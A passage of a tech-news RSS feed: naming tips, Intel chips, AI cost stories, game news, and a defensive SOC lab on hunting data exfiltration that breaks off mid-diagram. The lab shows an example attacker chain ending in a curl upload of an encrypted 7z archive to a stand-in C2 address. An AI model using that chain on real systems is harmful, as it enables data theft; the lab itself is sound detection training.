<p>Insbesondere, wenn es um <a href="https://www.computerwoche.de/article/3993887/5-boolean-tipps-fur-entwickler.html" target="_blank">Booleans</a> geht, sollten Sie auf ein positives Naming setzen, statt auf Grausamkeiten wie <code>isNotValid</code> oder <code>denyAccess</code>:</p>



<pre class="wp-block-preformatted">if (!IsNotValid) or (!denyAccess) {
  // ...
} 
</pre>



<p>Vermeiden Sie doppelte Verneinungen in Ihrem Code unter allen Umständen.</p>



<h2 class="wp-block-heading">8. Präfixe einsetzen</h2>



<p>In früheren Zeiten war die <a href="https://de.wikipedia.org/wiki/Ungarische_Notation" target="_blank" rel="noreferrer noopener">ungarische Notation</a> sehr beliebt: Dabei wurden sämtliche Namen mit einem Präfix versehen, das definierte, um was es sich genau handelt. Das ist allerdings inzwischen aus der Mode gekommen, weil es zu komplex wurde. Ich für meinen Teil bevorzuge Namen, die aussagekräftig genug sind, um dem Maintainer zu vermitteln, was Sache ist. Beispielsweise handelt es sich bei <code>EmployeeCount</code> offensichtlich um eine Ganzzahl, bei <code>FirstName</code> um einen String.</p>



<p>Manche Devs nutzen auch ein Buchstaben-Präfix für ihre Variablennamen, um deren Rolle in einer Methode anzugeben – etwa <code>l</code> für lokale Variablen und <code>a</code> für Methodenargumente oder Parameter. Ich bin davon nicht überzeugt. Im Gegenteil: Wenn Ihre Methoden so ausufern, dass nicht auf den ersten Blick ersichtlich ist, welche Rolle eine Variable spielt, ist <a href="https://www.computerwoche.de/article/3990309/die-drei-refactorings-die-jeder-entwickler-am-meisten-braucht.html" target="_blank">Refactoring</a> angebracht.</p>



<h2 class="wp-block-heading">9. Kauderwelsch nutzen</h2>



<p>Zu vermeiden sind in Sachen Naming außerdem auch Wörter, die keine wirkliche Bedeutung aufweisen.</p>



<p>Sehen Sie von “Naming-Junkfood” ab wie:</p>



<ul class="wp-block-list">
<li><code>Helper</code>,</li>



<li><code>Handler</code>,</li>



<li><code>Service</code>,</li>



<li><code>Util</code>,</li>



<li><code>Process</code>,</li>



<li><code>Info</code>,</li>



<li><code>Data</code>,</li>



<li><code>Task</code>,</li>



<li><code>Object</code> oder</li>



<li><code>Stuff</code>.</li>
</ul>



<p>(fm)</p>



<p><strong>Sie wollen weitere interessante Beiträge zu diversen Themen aus der IT-Welt lesen? </strong><a href="https://www.computerwoche.de/newsletter-anmeldung/" target="_blank"><strong>Unsere kostenlosen Newsletter</strong></a><strong> liefern Ihnen alles, was IT-Profis wissen sollten – direkt in Ihre Inbox!</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Intel focuses on power efficiency and cost with new chip designs]]></title>
<description><![CDATA[Intel hopes its latest chips will resolve AI-related power efficiency and cost concerns even as rivals AMD and Nvidia turn up their power consumption to deliver higher performance.



The company introduced a flagship Xeon 6+ CPU, a new GPU called Crescent Island, and a new Ethernet controller on...]]></description>
<link>https://tsecurity.de/de/3561740/it-security-nachrichten/intel-focuses-on-power-efficiency-and-cost-with-new-chip-designs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3561740/it-security-nachrichten/intel-focuses-on-power-efficiency-and-cost-with-new-chip-designs/</guid>
<pubDate>Mon, 01 Jun 2026 05:22:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Intel hopes its latest chips will resolve AI-related power efficiency and cost concerns even as rivals AMD and Nvidia turn up their power consumption to deliver higher performance.</p>



<p>The company introduced a flagship Xeon 6+ CPU, a new GPU called Crescent Island, and a new Ethernet controller on Monday.</p>



<p>These are the first major data-center releases since <a href="https://www.networkworld.com/article/3844466/intel-taps-semiconductor-veteran-lip-bu-tan-as-new-ceo.html">Lip-Bu Tan became CEO</a> in March last year.</p>



<p>Intel, once a byword for chip innovation, is shifting its philosophy to help customers balance systems for cost and performance, as opposed to selling the most powerful chips, said Kira Boyko, product line director for Xeon products.</p>



<p>“Our customers constantly tell us this is becoming too expensive and taking up too much energy. So, we look at that full view from the very beginning of product design,” Boyko said.</p>



<p>Intel’s new offerings should enable significant server consolidation and lower floor space requirements while increasing throughput, said Stephen Sopko, analyst-in-residence at Hyperframe Research.</p>



<p>“Explosive AI growth has created major constraints around power, cooling, and operational costs,” Sopko said.</p>



<h2 class="wp-block-heading">A GPU for Agentic AI</h2>



<p>Intel announced a new GPU called Xe3P, code-named Crescent Island, which “is purpose-built for this upcoming AI generation of agents,” said Anil Nanduri, vice president of AI products at Intel’s Data Center Group.</p>



<p>“We are focusing on cost efficient inferencing for the data center,” he said.</p>



<p>Agentic AI workloads involve humans spawning hundreds of thousands of agents, and the 350-watt Crescent Island GPU can run multiple expert agents, coordinating actions across CPUs or other accelerators, he said.</p>



<p>“There is no traditional graphics or 3D support. In fact, removing some of these features enabled us to give you more area and silicon to increase the AI performance,” Nanduri said.</p>



<p>Intel opted for 480GB of LPDDR5X memory — typically used in PCs and smartphones — for its low cost and power efficiency.</p>



<p>“We made a very deliberate design choice of using LPDDR memory instead of GDDR: LPDDR5X memory with densely packed channels delivers significant bandwidth and most importantly, memory capacity,” Nanduri said.</p>



<p>Memory supply constraints have driven up memory and GPU prices. A <a href="https://www.trendforce.com/research/download/RP260421CP3" target="_blank" rel="noreferrer noopener">Trendforce report</a> last month said LPDDR5X demand is tightening capacity. The memory type has access to “a different set of memory partners” to keep the supply rolling, Nanduri said.</p>



<p>Nvidia and AMD pack another graphics memory type, HBM (high-bandwidth memory), in their fastest GPUs. HBM is supplied predominantly by three vendors, <a href="https://www.networkworld.com/article/4177750/as-ai-datacenter-memory-becomes-hot-commodity-sk-hynix-makes-it-cooler.html">SK Hynix</a>, Samsung and Micron, which hold 95% of market share, according to a <a href="https://counterpointresearch.com/en/insights/global-dram-and-hbm-market-share" target="_blank" rel="noreferrer noopener">Counterpoint Research study</a>. Trendforce’s report also noted HBM facing a 100% price rise in 2027 due to shortages.</p>



<p>A shipment date for Crescent Island will be announced later, Nanduri said.</p>



<p>Intel also announced the Xeon 6+, code-named Clearwater Forest, which was delayed from last year. It is the first chip on Intel’s 18A manufacturing process, with new transistor features making it faster and more power efficient.</p>



<p>As a chip, the CPU has reemerged from under the shadow of the GPU as it handles AI agents and distributes workloads among accelerators, Boyko said.</p>



<h2 class="wp-block-heading">The missing link</h2>



<p>“We’re actually seeing a large amount of GPUs that are really underutilized because they don’t have the CPUs to support them and help with… the orchestration of workloads,” Boyko said.</p>



<p>Xeon 6+ offers 288 low-power E-cores, up to 8,000 megatransfers per second of DDR5 memory and 576 megabytes of last level cache.</p>



<p>There were many design changes in Clearwater Forest through the recent leadership changes and AI’s impact on computing requirements, Boyko said.</p>



<p>For example, the Xeon 6+ was designed to initially support 7200 megatransfers per second, but customers wanted faster bandwidth to handle AI orchestration and agents.</p>



<p>Xeon 6+ includes AET (Application Energy Telemetry), a new feature that gives operators real-time visibility into energy use at the application level. That allows for better orchestration and tuning of workloads, Boyko said.</p>



<p>It also lets data-center providers bill customers accurately based on actual energy use rather than estimates, Boyko said.</p>



<p>This allows for accurate charge backs, or for operators to offer rebates, “giving an incentive to an end customer to orchestrate differently or use energy differently so that they’re reducing their overall costs as well,” Boyko said.</p>



<p>Major OEMs will announce Xeon 6+ servers in June, Intel said. Server makers will also plug the new chip into systems running Xeon 6 CPUs because of socket compatibility, Boyko said.</p>



<h2 class="wp-block-heading">Security over speed</h2>



<p>Intel also introduced the E835 Ethernet card. At 200Gbps it isn’t the fastest silicon as network cards are already achieving 400Gbps, but Intel highlighted its security features and power efficiency.</p>



<p>E835 consumes 47% less power than Nvidia’s ConnectX6 and 28% less than Broadcom BCM957508-P2100G at full 200Gbps bidirectional load, said Brian Neipoky, who is the Ethernet product line senior director at Intel, during the media briefing.</p>



<p>Jack Gold, principal analyst at J. Gold Associates, said Intel has a good strategy in mind as billing for AI tokens skyrockets and power use with token generation is high.</p>



<p>Monitoring power and cost can reduce data center costs but also predict failures and extend chip lifecycles. “Along with high temperature, high power usage is not often kind to chip longevity,” Gold said.</p>



<p>Challenges remain. Intel doesn’t have a coherent AI strategy to connect its PC, data center and edge markets, Gold said. Over the last few years, Intel has conceded the GPU market to Nvidia after cancelling multiple GPU products under former CEO Pat Gelsinger.</p>



<p>But it also needs to regain lost ground in CPUs, he said. Hyperscalers Google, Amazon, Meta and Microsoft have developed their own ARM-based CPUs, and AMD is gaining share in the x86 market.</p>



<p>“The question is, will x86 remain the dominant player in that space as others, mostly ARM-based, try to capture market share?” Gold said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘What a joke’: Github Copilot’s new token-based billing spurs consternation among devs]]></title>
<description><![CDATA[The golden age of Microsoft's Github Copilot appears to be at an end.]]></description>
<link>https://tsecurity.de/de/3559366/it-nachrichten/what-a-joke-github-copilots-new-token-based-billing-spurs-consternation-among-devs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3559366/it-nachrichten/what-a-joke-github-copilots-new-token-based-billing-spurs-consternation-among-devs/</guid>
<pubDate>Sat, 30 May 2026 18:31:59 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The golden age of Microsoft's Github Copilot appears to be at an end.]]></content:encoded>
</item>
<item>
<title><![CDATA[Amazon deletes devs’ tokenmaxxing leaderboard to minimize costs]]></title>
<description><![CDATA[Enterprises everywhere have been urging employees to adopt AI, with internal leaderboards springing up to show who has used the most AI tokens. Such games can backfire, though, as Amazon recently discovered.



Kirorank, an unofficial leaderboard tracking usage of Amazon’s Kiro AI tool, ranked wo...]]></description>
<link>https://tsecurity.de/de/3557505/ai-nachrichten/amazon-deletes-devs-tokenmaxxing-leaderboard-to-minimize-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3557505/ai-nachrichten/amazon-deletes-devs-tokenmaxxing-leaderboard-to-minimize-costs/</guid>
<pubDate>Sat, 30 May 2026 01:04:03 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Enterprises everywhere have been urging employees to adopt AI, with internal leaderboards springing up to show who has used the most AI tokens. Such games can backfire, though, as Amazon recently discovered.</p>



<p>Kirorank, an unofficial leaderboard tracking usage of Amazon’s Kiro AI tool, ranked workers according to their AI activity, but senior managers at Amazon found that employees were creating AI agents to carry out unnecessary tasks in an attempt to boost their scores, a practise known as tokenmaxxing, according to <a href="https://www.ft.com/content/b1a62a7f-6df5-4c90-94ce-64ce9c9961b6?syn-25a6b1a6=1" target="_blank" rel="noreferrer noopener">a report in the Financial Times</a>. The tracker has now been taken offline.</p>



<p>Kirorank</p>



<p>The FT quoted an Amazon senior VP as saying that the leaderboard had been built “with good intentions” but the compute costs it generated were too high.</p>



<p>Amazon is not the only company to find that attempts to boost AI use can have negative implications. In April, <a href="https://www.infoworld.com/article/4170173/tokenmaxxing-is-super-dumb.html">Meta killed an unofficial ranking system called Claudeoconomics</a>, which had also led to a frenzy of tokenmaxxing.</p>



<p>Token usage is easy to measure; the business benefits of that usage less so. AI vendors are looking for better ways to measure the value of their services, so far with little success. <a href="https://www.cio.com/article/4138622/awu-by-salesforce-a-shiny-new-metric-that-tells-cios-little-of-value.html">Salesforce’s attempt to develop a new metric</a> was not well received.</p>



<p>Enterprises now find themselves facing a delicate balancing act, as they look to encourage AI use without racking up considerable computing costs. In March, <a href="https://www.computerworld.com/article/4148219/pwc-us-tells-staff-to-opt-out-of-company-not-ai.html" target="_blank">PwC’s US CEO Paul Griggs</a> told executives that those who did not use AI would not be at the company for very long. Use AI — but not too much, appears to be the message.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pinterest cut AI costs 90% by gutting a frontier model's vision layer]]></title>
<description><![CDATA[At 620 million monthly users, calling a frontier model for every image recommendation isn't a strategy — it's a bill. Pinterest CTO Matt Madrigal solved it by gutting Qwen3-VL's vision layer and rebuilding it with proprietary embeddings, cutting costs 90% and boosting accuracy 30%.Madrigal’s team...]]></description>
<link>https://tsecurity.de/de/3557297/it-nachrichten/pinterest-cut-ai-costs-90-by-gutting-a-frontier-models-vision-layer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3557297/it-nachrichten/pinterest-cut-ai-costs-90-by-gutting-a-frontier-models-vision-layer/</guid>
<pubDate>Fri, 29 May 2026 19:33:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>At 620 million monthly users, calling a frontier model for every image recommendation isn't a strategy — it's a bill. Pinterest CTO Matt Madrigal solved it by gutting Qwen3-VL's vision layer and rebuilding it with proprietary embeddings, cutting costs 90% and boosting accuracy 30%.</p><p>Madrigal’s team has been heavily investing in customizing open-source models “foundationally in-house.” </p><p>“If you've got really unique data that you can then fine-tune an open source model with, data quality will, frankly, outweigh or overcome model size,” Madrigal explained in a recent <a href="https://www.youtube.com/watch?v=BvFanq9fTg0">VB Beyond the Pilot podcast</a>. </p><div></div><h2>How Pinterest customized Qwen for visual discovery</h2><p>Pinterest, which has around 620 million monthly active users, has long applied open source models for visual search and discovery, going back to Google’s BERT and OpenAI’s CLIP. The company fine-tuned its own Pin CLIP on the latter, incorporating proprietary visual embeddings and image metadata. </p><p>Pinterest’s conversational shopping assistant, Navigator 1, was built on Qwen3-VL and customized in “pretty significant” ways. Madrigal’s team essentially “ripped out” Qwen’s vision encoder layer and fine-tuned the model on proprietary multimodal embeddings. This has allowed them to capture metadata around pins and images that can then be precomputed offline and regularly retrained on new information to deliver personalized experiences. </p><p>“Open-source models, especially with open Apache licenses where you can truly tweak a lot of open weights and customize for unique use cases — that's where we've found open source to be so powerful for us,” Madrigal said. </p><p>Bringing their own embeddings allows his team to gain context around metadata, pins, and images; also, notably, the model performs better at runtime and inference. Without these embeddings, devs would have to call and encode each image returned at runtime, one at a time. That results in a latency “20 times worse” from an inference perspective, Madrigal said. </p><p>“If it's something that's going to be critical for our end users, that's going to drive engagement, that will have to scale to over 600 million monthly active users, we're going to either probably build it or we're going to leverage open source and customize the heck out of it,” he said. </p><div></div><h2>How a taste graph captures evolving interests</h2><p>To guide users from inspiration to purchase, Madrigal's team built a "taste graph": a dynamic representation of what individual users actually like, not just what they click on.  “It's this representation of billions of people's evolving tastes,” he said. </p><p>People go to Google or other search engines when they have a clear picture of what they want; Pinterest is for when they’re still in the discovery phase, Madrigal said. Pinterest’s goal is to encourage “lateral exploration” and transform discovery to intent (that is, clicking through ads or making purchases). </p><p>Under the hood, the architecture combines a graph structure with representational learning. User embeddings capture a user’s evolving tastes. These are constantly updated based on activity and new content and signals. “It's not a social graph,” Madrigal said. “It's much more of a preference graph: What's going to inspire you? What are you trying to do next?” </p><p>For instance, one user may be into mid-century modern designs; another may prefer a Nantucket aesthetic. Those preferences will be captured in user embeddings, and the taste graph will deliver up specific, relevant products as a result. </p><p>“You go from the upper funnel, inspiration discovery, all the way through lower funnel intent,” Madrigal said. </p><p><b>Listen to the full podcast to hear more about:</b></p><ul><li><p>How Pinterest uses sandboxes to encourage creativity in a way that is secure and contained; </p></li><li><p>Why a continuous feedback loop can prevent visual AI slop; </p></li><li><p>The importance of constant benchmarking to gauge user engagement, performance, latency, and other factors. </p></li></ul><p><b>You can also listen and subscribe to </b><a href="https://beyondthepilot.ubpages.com/"><b>Beyond the Pilot</b></a><b> on </b><a href="https://open.spotify.com/show/4Zti73yb4hmiTNa7pEYls4"><b>Spotify</b></a><b>, </b><a href="https://podcasts.apple.com/us/podcast/beyond-the-pilot-enterprise-ai-in-action/id1839285239"><b>Apple</b></a><b> or wherever you get your podcasts.</b></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Amazon deletes devs’ tokenmaxxing leaderboard to minimize costs]]></title>
<description><![CDATA[Enterprises everywhere have been urging employees to adopt AI, with internal leaderboards springing up to show who has used the most AI tokens. Such games can backfire, though, as Amazon recently discovered.



Kirorank, an unofficial leaderboard tracking usage of Amazon’s Kiro AI tool, ranked wo...]]></description>
<link>https://tsecurity.de/de/3557227/it-nachrichten/amazon-deletes-devs-tokenmaxxing-leaderboard-to-minimize-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3557227/it-nachrichten/amazon-deletes-devs-tokenmaxxing-leaderboard-to-minimize-costs/</guid>
<pubDate>Fri, 29 May 2026 18:32:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Enterprises everywhere have been urging employees to adopt AI, with internal leaderboards springing up to show who has used the most AI tokens. Such games can backfire, though, as Amazon recently discovered.</p>



<p>Kirorank, an unofficial leaderboard tracking usage of Amazon’s Kiro AI tool, ranked workers according to their AI activity, but senior managers at Amazon found that employees were creating AI agents to carry out unnecessary tasks in an attempt to boost their scores, a practise known as tokenmaxxing, according to <a href="https://www.ft.com/content/b1a62a7f-6df5-4c90-94ce-64ce9c9961b6?syn-25a6b1a6=1" target="_blank" rel="nofollow">a report in the Financial Times</a>. The tracker has now been taken offline.</p>



<p>Kirorank</p>



<p>The FT quoted an Amazon senior VP as saying that the leaderboard had been built “with good intentions” but the compute costs it generated were too high.</p>



<p>Amazon is not the only company to find that attempts to boost AI use can have negative implications. In April, <a href="https://www.infoworld.com/article/4170173/tokenmaxxing-is-super-dumb.html">Meta killed an unofficial ranking system called Claudeoconomics</a>, which had also led to a frenzy of tokenmaxxing.</p>



<p>Token usage is easy to measure; the business benefits of that usage less so. AI vendors are looking for better ways to measure the value of their services, so far with little success. <a href="https://www.cio.com/article/4138622/awu-by-salesforce-a-shiny-new-metric-that-tells-cios-little-of-value.html">Salesforce’s attempt to develop a new metric</a> was not well received.</p>



<p>Enterprises now find themselves facing a delicate balancing act, as they look to encourage AI use without racking up considerable computing costs. In March, <a href="https://www.computerworld.com/article/4148219/pwc-us-tells-staff-to-opt-out-of-company-not-ai.html" target="_blank">PwC’s US CEO Paul Griggs</a> told executives that those who did not use AI would not be at the company for very long. Use AI — but not too much, appears to be the message.</p>



<p><em>This article first appeared on <a href="https://www.infoworld.com/article/4178824/amazon-deletes-devs-tokenmaxxing-leaderboard-to-minimize-costs.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[007 First Light is the stealthy James Bond game I've dreamed of]]></title>
<description><![CDATA[Of course the Hitman devs made a great James Bond game.]]></description>
<link>https://tsecurity.de/de/3557137/it-nachrichten/007-first-light-is-the-stealthy-james-bond-game-ive-dreamed-of/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3557137/it-nachrichten/007-first-light-is-the-stealthy-james-bond-game-ive-dreamed-of/</guid>
<pubDate>Fri, 29 May 2026 17:18:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Of course the Hitman devs made a great James Bond game.]]></content:encoded>
</item>
<item>
<title><![CDATA[Modern Warfare 4 devs describe game as 'the biggest' and 'most impressive' Call of Duty they've worked on]]></title>
<description><![CDATA[Call of Duty: Modern Warfare 4 is ambitious and different, with devs calling it 'the biggest' game in the series so far.]]></description>
<link>https://tsecurity.de/de/3556729/it-nachrichten/modern-warfare-4-devs-describe-game-as-the-biggest-and-most-impressive-call-of-duty-theyve-worked-on/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3556729/it-nachrichten/modern-warfare-4-devs-describe-game-as-the-biggest-and-most-impressive-call-of-duty-theyve-worked-on/</guid>
<pubDate>Fri, 29 May 2026 12:02:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Call of Duty: Modern Warfare 4 is ambitious and different, with devs calling it 'the biggest' game in the series so far.]]></content:encoded>
</item>
<item>
<title><![CDATA['We want to make sure that it feels really good to move, but it also feels good for the person who wants to shoot you' — Call of Duty: Modern Warfare 4 developer on balancing the game's next-level movement system]]></title>
<description><![CDATA[We discuss the balance of the movement system with Call of Duty: Modern Warfare 4 devs.]]></description>
<link>https://tsecurity.de/de/3556580/it-nachrichten/we-want-to-make-sure-that-it-feels-really-good-to-move-but-it-also-feels-good-for-the-person-who-wants-to-shoot-you-call-of-duty-modern-warfare-4-developer-on-balancing-the-games-next-level-movement-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3556580/it-nachrichten/we-want-to-make-sure-that-it-feels-really-good-to-move-but-it-also-feels-good-for-the-person-who-wants-to-shoot-you-call-of-duty-modern-warfare-4-developer-on-balancing-the-games-next-level-movement-system/</guid>
<pubDate>Fri, 29 May 2026 11:02:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We discuss the balance of the movement system with Call of Duty: Modern Warfare 4 devs.]]></content:encoded>
</item>
<item>
<title><![CDATA[Inside the Chrome Dev Prompt Lab at Google I/O 2026]]></title>
<description><![CDATA[Author: Google for Developers - Bewertung: 2x - Views:19 From the I/O stage to the event grounds, Chrome DevRel Engineer Matthias Rohmer gives you a front-row seat to the new Chrome Dev Prompt Lab. See the powerful combo of Modern Web Guidance and Chrome DevTools for agents in action. Test your k...]]></description>
<link>https://tsecurity.de/de/3554874/videos/inside-the-chrome-dev-prompt-lab-at-google-io-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3554874/videos/inside-the-chrome-dev-prompt-lab-at-google-io-2026/</guid>
<pubDate>Thu, 28 May 2026 18:18:23 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Google for Developers - Bewertung: 2x - Views:19 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/TglcFsCOBo8?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>From the I/O stage to the event grounds, Chrome DevRel Engineer Matthias Rohmer gives you a front-row seat to the new Chrome Dev Prompt Lab. See the powerful combo of Modern Web Guidance and Chrome DevTools for agents in action. Test your knowledge against a next-gen AI evaluator, or drop your URL to let a coding agent praise (or meme) your site's performance with ASCII emojis. The way devs build for the web has officially changed in this new agentic era of the web.<br />
<br />
Resources:<br />
Read our top 15 Chrome announcements at Google I/O 2026 → https://goo.gle/4dDyJPP <br />
Learn more about Modern Web Guidance → http://goo.gle/modern-web-guidance  <br />
Learn more about Chrome DevTools for agents → https://goo.gle/4trFvx3<br />
<br />
Subscribe to Google for Developers → https://goo.gle/developers <br />
<br />
Event: Google I/O 2026<br />
<br />
Speakers: Matthias Rohmer <br />
Products Mentioned: Chrome<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Subnautica 2 is a massive hit, so Krafton has to pay that $250 million bonus to devs]]></title>
<description><![CDATA[Krafton has been trying to weasel out of making paying the Subnautica 2 developer a bonus for a while now.]]></description>
<link>https://tsecurity.de/de/3554793/it-nachrichten/subnautica-2-is-a-massive-hit-so-krafton-has-to-pay-that-250-million-bonus-to-devs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3554793/it-nachrichten/subnautica-2-is-a-massive-hit-so-krafton-has-to-pay-that-250-million-bonus-to-devs/</guid>
<pubDate>Thu, 28 May 2026 18:02:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Krafton has been trying to weasel out of making paying the Subnautica 2 developer a bonus for a while now.]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Detect Data Exfiltration with Elastic SIEM: SOC Analyst Hands-On Lab | Hunt Forward Lab #007]]></title>
<description><![CDATA[Hunt Forward Lab #007 — Threat Hunting for Bulk File Transfer & Archive Creation | MITRE ATT&CK T1039, T1560.001, T1048.002🔬 Difficulty: Intermediate — Estimated Time: 45–60 minutes 🗂️ MITRE ATT&CK: T1039 / T1560.001 / T1048.002 — Data from Network Shared Drive / Archive via Utility / Exfiltratio...]]></description>
<link>https://tsecurity.de/de/3552110/hacking/how-to-detect-data-exfiltration-with-elastic-siem-soc-analyst-hands-on-lab-hunt-forward-lab-007/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3552110/hacking/how-to-detect-data-exfiltration-with-elastic-siem-soc-analyst-hands-on-lab-hunt-forward-lab-007/</guid>
<pubDate>Wed, 27 May 2026 20:09:16 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>Hunt Forward Lab #007 — Threat Hunting for Bulk File Transfer &amp; Archive Creation | MITRE ATT&amp;CK T1039, T1560.001, T1048.002</em></p><p><em>🔬 Difficulty: Intermediate — Estimated Time: 45–60 minutes</em> <em>🗂️ MITRE ATT&amp;CK: T1039 / T1560.001 / T1048.002 — Data from Network Shared Drive / Archive via Utility / Exfiltration Over Asymmetric Encrypted Non-C2 Protocol</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EQ_Q-PlfnJbcnIJkoyzlGQ.png"><figcaption>Image created by chatgpt</figcaption></figure><blockquote><strong><em>How to use this lab:</em></strong><em> Read the story to understand the attack. Then follow the Hunt section to find it yourself in Elastic SIEM. Document your findings in your </em><strong><em>Hunt Notebook</em></strong><em> as you go — you’ll use them to build your GitHub portfolio at the end.</em></blockquote><h3>Part 1 — The Scenario</h3><h3>1a — The Story Scene</h3><p><em>Thursday afternoon. Meridian Financial’s SOC. 4:47 PM.</em></p><p>Alex Chen had been staring at the same DLP alert for six minutes when Marcus wheeled over.</p><p>“What’ve you got?”</p><p>“Nothing. That’s the problem.” She tilted the screen toward him. “DLP flagged a large outbound transfer to an external IP at 15:10. By the time the alert fired, the connection was already closed. The file is gone.”</p><p>Marcus studied the IP. “203.0.113.42. That’s the same C2 we saw last quarter.”</p><p>“Yeah.” Alex pulled up the endpoint timeline for WKSTN-MORGAN. "Morgan's machine. Service account — svc_emr_db. Which means someone with stolen credentials got onto a workstation and used a service account context to avoid triggering our user-behaviour baselines."</p><p>“Smart.” Marcus did not sound impressed. “What was transferred?”</p><p>“That’s what I’m trying to figure out. The DLP alert gives us the destination and the volume — 47 megabytes. It doesn’t tell us <em>what</em> 47 megabytes of data looked like before it left.”</p><p>That was the thing about data exfiltration. By the time most teams noticed it, the data was already gone. The only way to understand the scope — and answer the question every executive was going to ask in twenty minutes — was to work backwards. What files were accessed before the transfer? How were they packaged? How were they sent?</p><p>Alex opened a new ES|QL query and started at the beginning.</p><p><em>Now it’s your turn to find it.</em></p><h3>1b — How Data Exfiltration Works — Simply Explained</h3><p><strong>Step 1: What attackers are actually trying to steal</strong></p><p>After an attacker gets into a network — through phishing, stolen credentials, or lateral movement — their end goal is usually data. Financial records, patient files, intellectual property, credentials, employee PII. The data has value: for selling, for ransom leverage, or for competitive intelligence. But they can’t just walk out with a hard drive. They have to move the data across the network to somewhere they control, without triggering alerts designed to catch exactly that.</p><p><strong>Step 2: The three phases every exfiltration attempt goes through</strong></p><p>Attackers almost never upload raw files directly. They follow a three-step process that each leave their own tracks in your logs:</p><ul><li><strong>Collection</strong> — bulk-reading or copying files from network shares to a local staging location. This is where the volume anomaly appears: one account reading dozens of sensitive files in minutes.</li><li><strong>Archiving</strong> — compressing and encrypting the staged files into a single archive using tools like 7-Zip or PowerShell’s Compress-Archive. Encryption hides the contents from DLP inspection; compression reduces transfer time and volume.</li><li><strong>Exfiltration</strong> — uploading the archive to an attacker-controlled server over HTTPS, making the traffic look like a normal encrypted web request.</li></ul><p><em>The attacker’s advantage: each step looks almost normal in isolation. File access, archive creation, and HTTPS uploads all happen constantly in a healthy network. The signal is in the combination — and the statistical outliers.</em></p><p><strong>Step 3: How the attack works</strong></p><p>Normal file server activity (a single employee accessing one report):</p><pre>User: a.chen | File: Q4_report.xlsx | Size: 280 KB | Process: EXCEL.EXE<br>Time: 09:15 → 09:16 | 1 file in ~60 seconds</pre><p>Attacker bulk-staging data (stolen service account):</p><pre>User: svc_emr_db | Files: 35 files across EMR$, Finance$, HR$, Legal$<br>Sizes: 1 MB – 8 MB per file | Process: robocopy.exe<br>Time: 14:00 → 14:43 | 35 files in 43 minutes | ~47 MB total</pre><pre>Then: 7z.exe -tzip -p[password] -mhe=on → update_pkg.zip (45 MB encrypted)<br>Then: curl.exe POST <a href="https://203.0.113.42/api/upload">https://203.0.113.42/api/upload</a> (8 chunks × ~6 MB)</pre><p>What DLP sees vs what actually happened:</p><pre>DLP alert: "Large outbound transfer: 47 MB to 203.0.113.42"<br>What it misses: 35 files read, 43 minutes of staging, 7z.exe with -mhe (header encryption)</pre><p><strong>Step 4: Why defenders miss it</strong></p><pre>┌─────────────────────────────────────────────────────────────────────────────┐<br>│  WHAT SECURITY TOOLS SEE                                                    │<br>│                                                                             │<br>│  File access:    svc_emr_db read 35 files — service accounts do this       │<br>│  7z.exe:         compression utility — IT uses it for backups               │<br>│  HTTPS upload:   encrypted outbound traffic — indistinguishable from SaaS  │<br>│  Total time:     ~2 hours — spread thin enough to avoid rate alerts         │<br>│                                                                             │<br>│  WHAT ACTUALLY 